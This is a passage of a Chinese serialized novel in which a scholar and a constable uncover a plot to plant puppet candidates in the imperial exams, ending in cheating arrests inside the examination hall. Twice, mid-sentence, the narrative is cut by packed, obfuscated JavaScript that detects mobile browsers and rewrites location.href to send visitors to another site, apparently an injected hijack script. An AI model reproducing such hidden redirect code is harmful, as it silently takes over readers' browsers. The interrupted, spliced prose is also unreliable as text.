“六扇门连夜排查,在京城又发现三处有这种铜钱的地方。”李崇明沉声道,“一处是城南‘广源当铺’,一处是城西‘福寿茶馆’,还有一处……” 他顿了顿,看向江清砚:“贡院西墙外的‘文魁笔庄’。” 贡院。 江清砚心头一跳。果然,还是扯到了贡院。 “这三处地方,表面上看都是正经生意,但暗地里……”李崇明拿起一枚铜钱,在指尖转动,“都与水鬼帮有过往来。广源当铺收过水鬼帮销赃的货物,福寿茶馆是他们的接头点,文魁笔庄……则是替他们伪造身份文牒的地方。” 伪造文牒。 江清砚想起老君洞地下那些草偶,那些练习易容的器具,还有那些被掳来“调教”的举子…… “他们想让人冒名顶替,混进科举?”他轻声问。 “恐怕不止。”李崇明摇头,“若是简单的冒名顶替,没必要闹出书肆失窃这么大动静。而且……” 他看向谢云辞:“谢总捕,你来说。” 谢云辞点头,接过话头:“我查了那几家书肆失窃的文集,发现一个共同点——那些文集的作者,要么已经失踪,要么……根本不存在。” “不存在?”江清砚一怔。 “对。”谢云辞从怀中取出一张纸,上面列着十几个名字,“《江南三杰文集》的三位作者,户籍档案显示,其中两人三年前已病故,一人远赴岭南经商,下落不明。《北地才子策论》的作者,查无此人。《会试十年真题详解》的编者,用的是化名。” 他顿了顿,继续道:“更奇怪的是,这些文集虽然署名不同,但文风、笔法却有惊人的相似之处——像是出自同一人之手,或者……同一个‘作坊’。” 江清砚拿起那张名单,目光在那些名字上缓缓移动。忽然,他手指停在一个名字上—— 周文远。 这个名字,他在水鬼帮的账本上见过。备注是:“文货,需熟读《周礼》,擅骈文,年二十许。” 而眼前这张名单上,《周礼新解》的作者,就是周文远。 “这个人……”江清砚抬头,“还活着吗?” 谢云辞摇头:“户籍档案显示,周文远,苏州吴县人,永昌十三年秀才,永昌十六年病故。但《周礼新解》是永昌十七年刊印的。” 人死了一年,还能出书? 李崇明冷笑:“不止如此。我们查了刊印《周礼新解》的书局,发现那书局三年前就倒闭了,东家不知所踪。市面上流通的《周礼新解》,都是盗印版。” 江清砚沉默了。 盗印、冒名、伪造身份……这一环扣一环,是个完整的链条。 “他们是在‘造人’。”他缓缓道,“掳来有才华的举子,抹去他们的过去,给他们新的身份、新的履历、甚至……新的作品。然后通过这些‘作品’造势,让他们在科举前就小有名气。等到了考场……” “等到了考场,就算他们考得再好,也没人会怀疑。”李崇明接道,“因为大家都会觉得,那是‘江南才子’、‘北地俊杰’应有的水平。” 好毒的计策。 这样一来,那些被掳的举子,就成了水鬼帮操控的傀儡。他们替傀儡扬名,替傀儡铺路,等傀儡高中,再通过傀儡攫取权力、财富…… “那观澜书院在其中扮演什么角色?”江清砚问。 李崇明脸色更沉:“这正是问题所在。观澜书院的山长柳文渊,这几日称病不出,但据暗探回报,柳府后院这几日频繁有书生模样的人出入。那些人……都与被盗文集的作者特征相符。” 他顿了顿,补充道:“而且,赵炎最近也常去柳府。” 赵炎。 吏部侍郎之子,今日刚来挑衅的纨绔。 江清砚脑中线索飞快串联——赵炎去春风阁密谈,赵炎去柳府,柳文渊与都水司官员往来,都水司与水鬼帮勾结…… 一张庞大的网,渐渐清晰。 “李大人打算如何?”他问。 李崇明站起身,走到窗边,看着楼下街景,沉默良久,才道:“圣上已下密旨,此案一查到底,无论牵扯到谁,绝不姑息。但……时机未到。” 他转身,看向江清砚:“柳文渊是三朝元老,门生故旧遍布朝野。赵文远是吏部侍郎,掌管官员铨选。都水司那边更是盘根错节。没有铁证,动不了他们。” “所以需要证据。”江清砚轻声道。 “对。”李崇明点头,“而现在最好的突破口,就是科举。他们若真要在科举上动手脚,必会露出马脚。届时人赃并获,才能一网打尽。” 他走到江清砚面前,目光如炬:“江清砚,本官需要你帮忙。” “大人请讲。” “照常赴考。”李崇明一字一句道,“你是揭开水鬼帮盖子的人,他们必然会关注你。你若按兵不动,他们反而会疑心。但只要你进了考场,他们就会有所动作——要么拉拢你,要么对付你。无论哪种,都是我们的机会。” 江清砚沉默片刻,缓缓点头:“学生明白。” “但切记,”李崇明语气严肃,“安全第一。你如今身体状况特殊,若有危险,立刻撤出。证据可以再找,命只有一条。” 这话说得恳切,江清砚心中微暖:“多谢大人关心。” 李崇明又交代了几句,便起身告辞。他走时没有走正门,而是从后窗翻出——二楼对谢云辞来说如履平地,李崇明虽年过五旬,身手却依旧矫健,几个起落就消失在巷子深处。 房间里重归寂静。 江清砚看着桌上那些铜钱,指尖无意识地摩挲着一枚的锯齿边缘。 “你在想什么?”谢云辞问。 “想赵炎。”江清砚抬起头,“他今日来,真的只是挑衅吗?” 谢云辞皱眉:“你的意思是……” “太刻意了。”江清砚轻声道,“赵炎那种纨绔,若真想给我下马威,大可派几个家丁来,何必亲自登门?而且他说的那些话……听起来嚣张,实则空洞,更像是在……试探我的反应。” 试探。 这个词今天第二次出现。 谢云辞眼神锐利起来:“你是说,他是受人指使?” “很有可能。”江清砚站起身,走到窗边,看着街角那两个假装小贩的“尾巴”,“若真是试探,那说明……有人开始注意我了。而且这个人,恐怕就在赵炎背后。” 是谁? 赵文远?柳文渊?还是都水司的某位官员? 不得而知。 “要不要……”谢云辞手按在匕首上,“抓一个‘尾巴’来问问?” “打草惊蛇。”江清砚摇头,“让他们盯着吧。我们该做什么还做什么。” 他说着,重新坐回书桌前,拿起笔,继续批注。 谢云辞看了他片刻,忽然道:“你就不怕?” “怕什么?” “怕考场上有变故,怕那些人狗急跳墙,怕……”谢云辞顿了顿,“怕你的身体撑不住。” 江清砚笔尖一顿,抬起头,看向谢云辞。 晨光透过窗纸,在他眼中映出细碎的光。那光芒清澈而坚定,像深潭里映着的星辰。 “怕。”他轻声道,“但怕,就不做了吗?” 他顿了顿,声音更轻:“谢兄,我这条命是你救的。从破庙到现在,我本该死了很多次。能活到今天,已是侥幸。既然活着,总要做些该做的事。” “该做的事?”谢云辞问。 “揭穿阴谋,还那些枉死之人公道。”江清砚缓缓道,“还有……帮你报仇。” 谢云辞浑身一震。 他看着江清砚,许久,才低声道:“你其实不必……” “我说过,要陪你一起。”江清砚打断他,语气平静却坚定,“君子一言,驷马难追。” 四目相对。 谢云辞胸中那颗共同的心脏,忽然跳动得快了一拍。 同生共死。 这四个字,在这一刻有了更重的分量。 “好。”谢云辞最终只说了一个字。 但这一字,已足够。 接下来的几天,日子过得平静无波。 江清砚每日读书温习,偶尔与李慕言、王璞交流学问。谢云辞则早出晚归,说是“访友”,实则是去六扇门协助查案,或是暗中监视那些有铜钱标记的地点。 赵炎没再出现,街角那两个“尾巴”也撤了,仿佛那日的风波从未发生。 但江清砚知道,平静只是表象。 第五日,黄昏时分,客栈小二送上来一封信。 信是素白信封,没有署名,只写着“江清砚亲启”。信封里有张洒金笺,上面只有一行字: “酉时三刻,春风阁天字三号雅间,恭候大驾。” 落款是一个简单的图案——朵莲花。 都水司的印记。 江清砚将信递给谢云辞。谢云辞看后,眉头紧皱:“不能去。” “必须去。”江清砚却道,“这是他们第一次正式接触。若不去,反而显得我们心虚。” “太危险。”谢云辞沉声道,“春风阁那种地方,鱼龙混杂,若他们设下埋伏……” “所以你要跟我一起去。”江清砚收起信笺,神色平静,“但你不能进雅间,得在附近接应。” 谢云辞盯着他看了半晌,最终妥协:“好。但若有危险,立刻发信号。” 他从怀中取出一个小巧的竹筒,只有手指粗细,筒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863493|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底有个机括:“拉开这个,会发出尖锐的哨声,三里内都能听见。我会立刻赶到。” 江清砚接过,小心收进袖中。 酉时初,两人换了衣服出门。江清砚依旧是一身月白直裰,谢云辞则换了身深蓝劲装,将匕首藏在靴筒里——春风阁那种地方,明着带兵器太扎眼。 春风阁在城南,是京城数一数二的青楼。三层朱楼,雕梁画栋,入夜后灯火通明,丝竹之声不绝于耳。门前车马如龙,来往的皆是锦衣华服的达官显贵、风流才子。 江清砚和谢云辞到时,正是华灯初上。两人刚下马车,就有龟公迎上来,满脸堆笑:“二位公子可有相熟的姑娘?” “天字三号雅间。”江清砚淡淡道。 龟公脸色微变,上下打量他一番,笑容更盛:“原来是贵客,请随我来。” 他引着两人穿过大堂。堂内歌舞正酣,觥筹交错,脂粉香气混着酒气,熏得人头晕。不少宾客看到江清砚,都投来好奇的目光——这般清俊文弱的书生来青楼,本就少见,何况他还带着个明显是护卫的人。 上了三楼,环境清静了许多。走廊铺着厚厚的地毯,两侧雅间门扉紧闭,隐约能听到里面传出的琴声和谈笑声。 天字三号在走廊尽头。龟公在门前停下,躬身道:“公子请进,里面已有贵客等候。” 江清砚点头,推门而入。 雅间很大,布置清雅,不像青楼,倒像文人书房。墙上挂着几幅字画,看落款都是名家真迹。临窗摆着一张紫檀木圆桌,桌上已摆好了酒菜,但只有一副碗筷。 桌边坐着一个人。 一个江清砚没想到会在这里见到的人—— 薛大夫。 那个为他施行换心手术的老者。 薛大夫见他进来,微微一笑,指了指对面的座位:“江公子,请坐。” 江清砚站在原地,没有动。 “薛大夫……约学生来此,有何指教?”他警惕地问。 “放心,没有恶意。”薛大夫倒了杯茶,推到他面前,“只是想与你聊聊。关于你的身体,关于……你胸中那颗心。” 江清砚心中一凛。 他缓缓坐下,却没有碰那杯茶。 “薛大夫有话直说。” 薛大夫看着他,眼中闪过复杂的神色:“手术很成功,但你与谢云辞的联结,比我想象的更深。这几日我暗中观察,发现你们不仅心跳同步,连情绪、甚至……某些细微的感知,都在互相影响。” 江清砚沉默。 的确,这几日他偶尔能模糊地感知到谢云辞的情绪,谢云辞似乎也能察觉他的不适。但他以为这是心理作用,没想到…… “这是好事,也是坏事。”薛大夫继续道,“好事是,你们的生命力会因此更强。坏事是……若一方遭遇剧痛或重创,另一方也会感同身受。” 他顿了顿,声音低沉:“江清砚,你要知道,你现在不是一个人了。你的命,连着谢云辞的命。你若出事,他也逃不掉。” 江清砚握紧了拳。 他当然知道。 从决定接受手术的那一刻起,他就知道。 “薛大夫今日约我来,不只是为了说这些吧?”他抬起眼,目光清亮。 薛大夫笑了:“聪明。确实还有一事——” 他从袖中取出一枚铜钱,放在桌上。 又是那种铜钱。边缘锯齿,中间穿孔,系红绳。 “这枚铜钱,是从都水司一位郎中身上找到的。”薛大夫缓缓道,“那位郎中……三日前暴毙家中,死因是‘突发心疾’。但我在验尸时发现,他真正的死因是中毒——一种罕见的、能诱发心疾发作的毒。” 江清砚瞳孔微缩。 “更巧的是,”薛大夫看着他,“那位郎中,正是三年前负责漕运稽查的周郎中的……顶头上司。” 周郎中。 那位在断龙峡“遇匪身亡”的清官。 “薛大夫的意思是……” “我的意思是,水鬼帮的案子,牵扯的人比你想象的更多,更深。”薛大夫收起铜钱,神色严肃,“都水司里有人想灭口,有人想掩盖,还有人……想借着这个机会,扳倒对手。” 他站起身,走到窗边,看着楼下繁华的街景。 “江清砚,你是个聪明人,应该明白——有些浑水,蹚不得。你现在最该做的,是安心备考,考取功名,远离这些是非。” 江清砚也站起身。 “薛大夫的好意,学生心领。”他轻声道,“但有些事,总要有人去做。既然学生已经蹚了这浑水,就没有中途抽身的道理。” 薛大夫转身看着他,许久,叹了口气。 “罢了,我早知道劝不动你。”他摆摆手,“去吧。记住,月圆之夜前,一定要来复诊。还有……小心赵炎。他背后的人,不简单。” 江清砚点头,深深一揖,转身走出雅间。 门外,谢云辞正靠墙而立,见他出来,立刻迎上:“没事吧?” “没事。”江清砚摇头,“走吧。” 两人下楼,离开春风阁。夜色已深,街上行人渐稀。 回客栈的路上,江清砚将薛大夫的话复述了一遍。谢云辞听完,脸色凝重。 “都水司开始灭口了……”他低声道,“这说明,他们慌了。” “也说明,我们离真相越来越近了。”江清砚看着夜空中的一轮弯月,轻声道。 离月圆之夜,还有十天。 离会试,还有十五天。 而前方的路,依旧迷雾重重。 但他们必须走下去。 因为已经没有退路了。 18. 第 18 章 第十八章暗潮预警 从春风阁回来的第二日,江清砚起了低烧。 不是风寒,不是心疾发作,而是一种莫名的、从骨子里透出来的疲倦和寒意。他靠在床头,脸色白得近乎透明,连握书的力气都没有,只能让谢云辞将《礼记》摊在膝上,勉强看着。 薛大夫给的药服下去了,烧却退得很慢。到午时,额头依旧滚烫,人已昏昏沉沉。 谢云辞坐在床边,三指搭着他的腕脉,眉头紧皱——脉象虚浮紊乱,不像是寻常病症,倒像是……某种反噬。 同生共死之术的反噬。 他想起薛大夫的叮嘱:“此术逆天,每月月圆之夜必有心脉逆冲。但若平日操劳过度,或心神损耗太大,也可能提前发作。” 心神损耗。 江清砚这几日虽然表面平静,实则无时无刻不在思考水鬼帮的案子,科举的压力也沉沉压在心头。再加上昨日春风阁那番对话…… “我没事。”江清砚睁开眼,声音虚弱,“只是有点累,歇歇就好。” 谢云辞没说话,起身走到窗边,推开窗。深秋的风灌进来,带着凉意,却吹不散屋内的沉闷。 楼下街道忽然传来急促的马蹄声,一队官差飞驰而过,直奔城南方向。行人纷纷避让,议论声隐约传来: “又出事了?” “听说是福寿茶馆……死人了!” 福寿茶馆。 谢云辞眼神一凛。那是李崇明提到过的、有水鬼帮铜钱标记的接头点之一。 他回头看向江清砚。后者也听到了,挣扎着要起身:“谢兄……” “躺着。”谢云辞按住他,“我去看看。” “我也去。” “就你现在这样?”谢云辞声音严厉,“你连站都站不稳,去了能做什么?” 江清砚抿唇不语,眼中却有不甘。 谢云辞看着他苍白的脸,终究还是叹了口气:“你先歇着,我去探探情况。若有要紧消息,立刻回来告诉你。” 江清砚这才点头。 谢云辞又倒了碗热水放在他手边,确认药瓶都在枕边,这才匆匆出门。 房门关上,屋里重归寂静。 江清砚靠在床头,闭上眼,胸口那颗心脏跳得沉重而缓慢。他能感觉到,那不是自己的疲惫——是谢云辞的。方才谢云辞指尖搭在他腕上时,他分明感觉到一股压抑的焦灼和愤怒。 他们在为同一件事忧心。 窗外的风声更急了。深秋的京城,天总是阴沉沉的,像要下雨,却又迟迟不下,只憋着一股闷气。 约莫过了半个时辰,楼梯上响起脚步声。不是谢云辞——脚步很轻,带着犹豫,在门外停下,轻轻叩门。 “江兄,是我,李慕言。” 江清砚睁开眼:“请进。” 门开了,李慕言走进来,手里提着个食盒。他见江清砚脸色苍白地靠在床头,吓了一跳:“江兄,你这是……” “偶感风寒,无碍。”江清砚勉强坐直身子,“李兄怎么来了?” “听说你病了,带了些粥来。”李慕言将食盒放在桌上,打开,里面是还冒着热气的白粥和几样小菜,“客栈的饭菜油腻,你生病了该吃清淡些。这是我让厨房特意熬的。” 江清砚心中一暖:“多谢李兄。” 李慕言盛了碗粥递给他,在床边坐下,看着他小口喝粥,犹豫片刻,低声道:“江兄,我来还有一事……昨夜,王璞出事了。” 江清砚手一顿。 “昨夜王璞去春风阁查探赵炎的事。”李慕言声音发颤,“他说有同乡在春风阁当差,能打听到消息。我就让他去了……谁知他一夜未归,今早被人发现晕倒在城南小巷里,身上财物被劫,还……还被打断了腿。” 江清砚放下粥碗:“现在人呢?” “送回客栈了,大夫刚来看过,说至少要养三个月。”李慕言眼圈泛红,“都怪我,不该让他去……” “不是你的错。”江清砚打断他,神色凝重,“王璞去春风阁的事,还有谁知道?” “只有我和他,还有……那个同乡。”李慕言忽然想起什么,“对了,王璞说,他昨夜确实在春风阁见到了赵炎。赵炎和一个中年文士在雅间密谈,他本想偷听,但刚靠近就被发现了。之后他仓皇逃走,在巷子里被人袭击……” 中年文士。 江清砚想起昨夜春风阁天字三号雅间里的薛大夫,但随即摇头——薛大夫不会做这种事。 “那个文士,王璞可看清长相?” “他说没看清,只记得那人穿青色长衫,左手拇指戴了个玉扳指。”李慕言努力回忆,“哦对了,王璞还说,他逃跑时听到赵炎喊了一声‘柳先生’……” 柳先生。 柳文渊? 江清砚心头一沉。若真是柳文渊,那事情就严重了——观澜书院的山长,三朝元老,竟与赵炎这种纨绔在青楼密谈? “李兄,”他沉声道,“这件事,到此为止。你和王璞都不要再查了。” “可是……” “没有可是。”江清砚看着他,目光严肃,“对方已经动手了。王璞只是被打断腿,已是万幸。若再查下去,恐怕下次就不只是断腿了。” 李慕言脸色发白,最终点了点头。 送走李慕言,江清砚靠在床头,胸中那颗心脏跳得更乱了。他能感觉到谢云辞的情绪——愤怒、焦灼,还有……杀意。 福寿茶馆那边,恐怕情况不妙。 又过了约莫一刻钟,谢云辞回来了。 他脸色阴沉,身上还带着淡淡的血腥气。一进门就反手锁上门,快步走到江清砚床边。 “怎么样?”江清砚问。 “福寿茶馆的掌柜死了。”谢云辞声音冰冷,“昨夜被人割喉,尸体今早才发现。现场很干净,没有打斗痕迹,像是熟人作案。” 他顿了顿,继续道:“但我在茶馆后院发现了一样东西——” 他从怀中取出一个油纸包,打开,里面是一枚铜钱。边缘锯齿,中间穿孔,系红绳。但这枚铜钱的红绳上,沾着暗褐色的血渍。 “这是在掌柜尸体手里发现的。”谢云辞道,“他临死前紧紧攥着这枚铜钱,指甲都抠进了肉里。” 江清砚接过铜钱细看。齿数是二十二,与之前见过的都不同。红绳上的血已经凝固,呈暗褐色,但凑近闻,还能闻到淡淡的血腥味。 “掌柜的死,是灭口。”他轻声道,“他知道什么不该知道的事,所以被杀了。” “不止。”谢云辞在桌边坐下,倒了杯冷茶一饮而尽,“我查了茶馆的账本,发现近三个月,茶馆频繁有书生模样的人出入。其中几个……就是那些被盗文集的‘作者’。” “他们去茶馆做什么?” “密谈。”谢云辞冷笑,“账本上记着雅间预订记录,每次都是‘柳先生订,招待文友’。时间多在午后或傍晚,每次两到三个时辰。” 柳先生。 又是柳文渊。 江清砚闭上眼,脑中线索飞快串联——观澜书院、被盗文集、福寿茶馆、赵炎、柳文渊…… “还有一件事。”谢云辞的声音将他拉回现实,“李尚书派人传话,说都水司又死了两个人——一个主事,一个书吏。都是‘突发心疾’,但薛大夫验尸后发现是中毒。而且……” 他顿了顿,眼神更冷:“那两个人,都与三年前周郎中的案子有关。周郎中查漕运弊案时,他们曾是他的下属。” 都水司开始大规模灭口了。 这说明什么? 说明他们慌了,说明水鬼帮的案子已经触及了核心,说明……有人要狗急跳墙了。 江清砚睁开眼,看向谢云辞:“谢兄,我们可能……没有多少时间了。” “我知道。”谢云辞站起身,走到窗边,看着阴沉的天色,“李尚书已经调集人手,暗中监控所有可能与案子有关的人。但对方也在行动——福寿茶馆的掌柜被杀,都水司接连灭口,王璞被打……他们是在清除障碍,也是在警告我们。” 警告。 江清砚想起赵炎那日嚣张的嘴脸。那不是单纯的纨绔挑衅,那是背后的势力在示威——看,我们能随时要你的命。 “会试……”他喃喃道,“他们一定会在会试上动手脚。因为那是最后的机会——若那些被他们‘培养’的傀儡中了进士,入了官场,就再难扳倒了。” 谢云辞转身看他:“你有什么想法?” 江清砚沉默良久,缓缓道:“他们若要动手,无非两个方向:一是在考场外,劫持或替换考生;二是在考场内,舞弊。” “劫持或替换考生,动静太大,容易暴露。”谢云辞分析道,“而且会试考场在贡院,守卫森严,想混进去不容易。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“首先,我要参加会试,正常参加。”江清砚缓缓道,“我是他们眼中的变数,他们一定会关注我。只要我进了考场,他们就会有所动作——要么拉拢,要么陷害。无论哪种,都是机会。” 他顿了顿,继续道:“其次,李尚书那边,要加强对贡院的监控,尤其是那些与观澜书院、都水司有关的人。还要查清楚,那些被盗文集的‘作者’,到底被他们藏在哪里。” “最后……”他看向谢云辞,“谢兄,你要帮我查一件事。” “什么?” “查赵文远。”江清砚轻声道,“吏部侍郎赵文远,赵炎的父亲。我总觉得,他不只是纵容儿子那么简单。能在吏部坐到侍郎的位置,绝不可能是个糊涂人。他与柳文渊、都水司之间,到底是什么关系?” 谢云辞点头:“我明白了。” 窗外雨声渐急,秋风更凉。 江清砚重新躺下,闭上眼,胸中那颗心脏依旧跳得沉重,但已经平稳了许多。他能感觉到,谢云辞的情绪也渐渐冷静下来——那是杀戮前的冷静,像磨利的刀锋,沉默而危险。 “谢兄,”他忽然轻声问,“若此案了结,你的仇报了,你想做什么?” 谢云辞一怔。 这个问题,他从未想过。六年来,他活着的唯一目的就是报仇。仇报之后呢?他不知道。 “不知道。”他如实答。 “那……跟我回润州吧。”江清砚睁开眼,看着他,眼中有一丝难得的柔软,“润州山清水秀,适合养病。我们可以在那里开间医馆,你当护卫,我当大夫。虽不能大富大贵,但……安稳。” 安稳。 这个词对谢云辞来说,太遥远了。 但他看着江清砚清澈的眼睛,忽然觉得,那样的生活,或许……也不错。 “好。”他说。 一字千钧。 江清砚笑了,那笑意很浅,却直达眼底。 窗外,秋雨潇潇。 屋内,灯火昏黄。 两个萍水相逢的少年,在阴谋的漩涡中心,许下了一个关于未来的约定。 虽然他们都知道,前路艰险,生死难料。 但至少此刻,他们不是独行。 19. 第 19 章 第十九章考场之内 十月十五,会试开考。 天未亮,贡院外已是人山人海。数千名举子提着考篮,在寒风中排队等候入场。灯笼的光连成一片,映着一张张或紧张、或兴奋、或憔悴的脸。 江清砚裹着厚实的鹤氅,提着考篮站在队伍中。他的脸色依旧苍白,但经过半个月的调理,已经比之前好了许多。薛大夫给的药按时服用,月圆之夜的心脉逆冲虽如期而至,但在谢云辞的护持和薛大夫的针药下,总算有惊无险地熬了过去。 谢云辞站在他身后,一身深蓝劲装,腰间配着六扇门的令牌——他今日以监考官的身份随队入贡院。这是李崇明的安排,名为协查考场秩序,实则是保护江清砚,同时暗中监控可能出现的异常。 队伍缓慢前行。每个考生都要经过严格搜检:衣物要解开,考篮要翻查,甚至连发髻都要被差役摸一遍,以防夹带。搜检的差役个个脸色严肃,动作麻利,显然都是老手。 轮到江清砚时,一个差役接过他的考篮,正要翻查,谢云辞忽然上前一步,亮出令牌:“这位江公子身体不适,动作轻些。” 差役见是六扇门的人,连忙点头哈腰:“是,是,小的明白。” 搜检果然轻柔了许多。江清砚配合地解开外衣,让差役检查内衣——这是规矩,再尊贵的考生也不能免。好在他早有准备,穿的都是单薄的棉布中衣,没有夹层。 考篮里的东西也被一一取出:笔墨纸砚、几块干粮、一个小水囊,还有薛大夫特制的药瓶。差役拿起药瓶,拔开塞子闻了闻,眉头皱起:“这是什么?” “学生患有心疾,这是救命的药。”江清砚温声道。 差役看向谢云辞。后者点头:“确实是药,我作保。” 有六扇门总捕作保,差役自然不敢多问,将东西放回考篮,又检查了笔杆、砚台,确认没有夹带,才放行。 过了搜检,便是领考号。贡院的号舍按《千字文》编号,江清砚领到的是“地字十九号”,在贡院西侧,位置不算好,但也不算差。 谢云辞一路护送他到了号舍前。贡院内部,除了考生和考官,其他人不得入内,谢云辞只能送到这里。 “万事小心。”他低声道,将一个更小的竹筒塞进江清砚手里——比之前那个更精致,筒身刻着细密的花纹,“若遇危险,按下底部的机关,我会立刻知道。” 江清砚点头,将竹筒贴身收好,提着考篮走进号舍。 号舍很小,宽三尺,深四尺,高六尺,仅容一人转身。三面是墙,一面是栅栏门。里面只有一张木板搭成的桌案,一个矮凳,角落里放着个马桶——这就是未来三天两夜的栖身之所。 江清砚将考篮放在桌案上,开始整理。笔墨纸砚摆放整齐,干粮和水囊放在角落,药瓶贴身收好。做完这些,他才在矮凳上坐下,闭目养神。 辰时正,三声鼓响,考试开始。 考题发下来了,厚厚一沓,从四书五经到策论时务,内容庞杂。江清砚展开考卷,从头到尾浏览一遍,心中已有成算——这些题目他大多温习过,虽有些刁钻,但难不倒他。 他提笔,蘸墨,开始在草稿纸上打草稿。笔尖划过纸面,发出沙沙的轻响,在寂静的贡院里格外清晰。 贡院很大,数千间号舍整齐排列,像一个个小小的囚笼。考生们埋头答卷,只有偶尔的咳嗽声、翻纸声,还有巡考官沉重的脚步声。 江清砚答得很顺利。经义题引经据典,策论题针砭时弊,他都写得条理清晰,文采斐然。但写着写着,他忽然觉得有些不对劲。 太安静了。 不是考生们的安静,而是……整座贡院的安静。巡考官的脚步声似乎少了许多,而且都集中在某个方向——东侧? 他停下笔,侧耳倾听。 果然,脚步声都往东边去了,而且很急。隐约还能听到几声低语,但听不真切。 出事了。 江清砚心头一紧。他想起谢云辞的话——对方一定会在会试上动手。 会是什么? 舞弊?骚乱?还是…… 他握紧了手中的笔,强迫自己冷静下来。无论发生什么,他现在能做的,只有继续答卷。若真有事,谢云辞会处理。 他重新提笔,继续书写。但这一次,他留了心,不时停下笔,倾听外面的动静。 约莫过了一炷香时间,脚步声又回来了,而且更多、更杂。不止巡考官,还有……兵士的脚步声?甲胄碰撞的铿锵声? 江清砚抬头,从栅栏门的缝隙往外看。 一队兵士快步走过,个个手持长矛,神色肃穆。为首的是个穿着官袍的中年官员,面色铁青,正是今科会试的副主考之一——礼部郎中陈文正。 陈文正经过江清砚的号舍时,脚步忽然顿了顿,目光透过栅栏,落在他身上。 那眼神很复杂,有审视,有疑虑,还有……一丝不易察觉的慌乱? 只一瞬,陈文正就移开目光,继续往前走了。兵士们紧随其后,脚步声渐渐远去。 江清砚的心沉了下去。 陈文正他认识——不,应该说,他在水鬼帮的账本上见过这个名字。虽然用的是化名,但备注里的特征对得上:礼部任职,负责科举事务,好金石收藏…… 账本上记载,陈文正曾通过水鬼帮“购买”过一批前朝碑拓,代价是……为某个“文货”疏通关系。 那个“文货”是谁? 江清砚脑中飞快回想账本内容。他记忆力极好,几乎过目不忘,很快就锁定了一条记录: “丙字十七号,男,二十许,擅经义,通音律。陈公验货,言‘可造之材’,酬金三千两。备注:需入今科会试甲榜。” 今科会试甲榜,就是前三十名。 陈文正要保一个人进甲榜。 而这个人,现在就在贡院里! 江清砚猛地站起身,又因动作太急牵动胸口,闷哼一声坐了回去。他按住心口,深吸几口气,强迫自己冷静。 不能慌。 他现在在考场里,什么也做不了。唯一能做的,就是完成考试,然后……找出那个人。 他重新提笔,但这一次,答题的思路变了。 原本他打算中规中矩,稳妥为上。但现在,他改了主意——他要考好,考得非常好,好到足以引起所有人的注意。 因为只有这样,他才能进入那些人的视野,才能接近真相。 接下来的答题,江清砚几乎用尽了毕生所学。经义题他旁征博引,策论题他针砭时弊,每一篇文章都写得滴水不漏,文采飞扬。他甚至在其中一篇策论里,暗藏了关于漕运弊案的隐喻——若阅卷官是明眼人,一定能看出端倪。 写到最后一题时,已是第二日傍晚。 天色渐暗,号舍里点起了蜡烛。烛光摇曳,映着江清砚苍白却专注的脸。他握着笔,手腕已经酸痛,但眼神依旧清亮。 最后一题是时务策,题目是:“论漕运之弊与革”。 看到这个题目,江清砚的手微微一颤。 太巧了。 巧得像……有人特意为他准备的。 他抬起头,看向栅栏门外。夜色中,贡院像一头沉睡的巨兽,安静得可怕。但在这安静之下,暗流汹涌。 他没有犹豫,提笔就写。 从漕运的历史沿革,到如今的积弊;从水鬼帮的猖獗,到都水司的失职;从底层漕工的苦难,到朝廷政策的疏漏……他写得酣畅淋漓,字字珠玑,却又字字见血。 写到一半时,外面忽然传来骚动。 不是脚步声,而是……哭声?还有怒骂声? 江清砚停下笔,仔细倾听。 声音从东侧传来,而且越来越近。隐约能听到几个词:“舞弊……抓到了……押出去……” 果然。 他放下笔,走到栅栏门边,透过缝隙往外看。 只见一队兵士押着几个人走过。被押的人穿着举子服饰,个个面如死灰。其中一人江清砚认得——是江南有名的才子,姓周,据说诗词双绝,今科会试的热门人选。 周才子被两个兵士架着,步履踉跄,口中喃喃:“冤枉……我是冤枉的……” 但兵士根本不听,粗暴地将他往外拖。 江清砚的目光落在周才子腰间——那里挂着一块玉佩,玉佩的样式……他好像在哪儿见过? 对了,春风阁。那夜薛大夫给他看的那枚铜钱,系的红绳上,就挂着一小块碎玉,与这块玉佩的质地、颜色一模一样。 所以周才子就是那个“丙字十七号”?陈文正要保进甲榜的人? 可他现在为什么被抓了? 江清砚正疑惑,又有一队人走过。这次被押的是个官员——正是陈文正! 陈文正官帽已掉,发髻散乱,脸色惨白如纸。他被兵士押着,经过江清砚的号舍时,忽然抬起头,看向他。 那一瞬间,江清砚看到了陈文正 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胸口那颗心脏跳得沉重而缓慢,他能感觉到谢云辞的担忧——通过那奇妙的联结,他隐约感知到谢云辞就在贡院外,焦灼地等待着。 辰时正,收卷的鼓声响起。 差役们挨个号舍收卷。轮到江清砚时,那差役多看了他两眼,才收走考卷,封入专用布袋。 考卷收完,栅栏门打开,考生们鱼贯而出。 三天不见天日,再出来时,所有人都面色憔悴,脚步虚浮。但没有人说话,气氛压抑得可怕——陈文正和周才子被抓的事,已经传开了。 江清砚提着空考篮,随着人流往外走。刚出贡院大门,就看到了谢云辞。 谢云辞站在一棵老槐树下,一身风尘,眼中布满血丝,显然这三天也没怎么休息。见到江清砚出来,他快步迎上,上下打量:“怎么样?” “考完了。”江清砚轻声道,“里面……出事了?” 谢云辞点头,扶住他胳膊,压低声音:“回去说。” 两人挤出人群,上了早已等候在街角的马车。 车厢里,江清砚终于支撑不住,靠在了车壁上,脸色白得吓人。谢云辞从怀中取出药瓶,倒出一粒药丸递给他。 江清砚吞下药,闭目调息片刻,才问:“陈文正和周才子……” 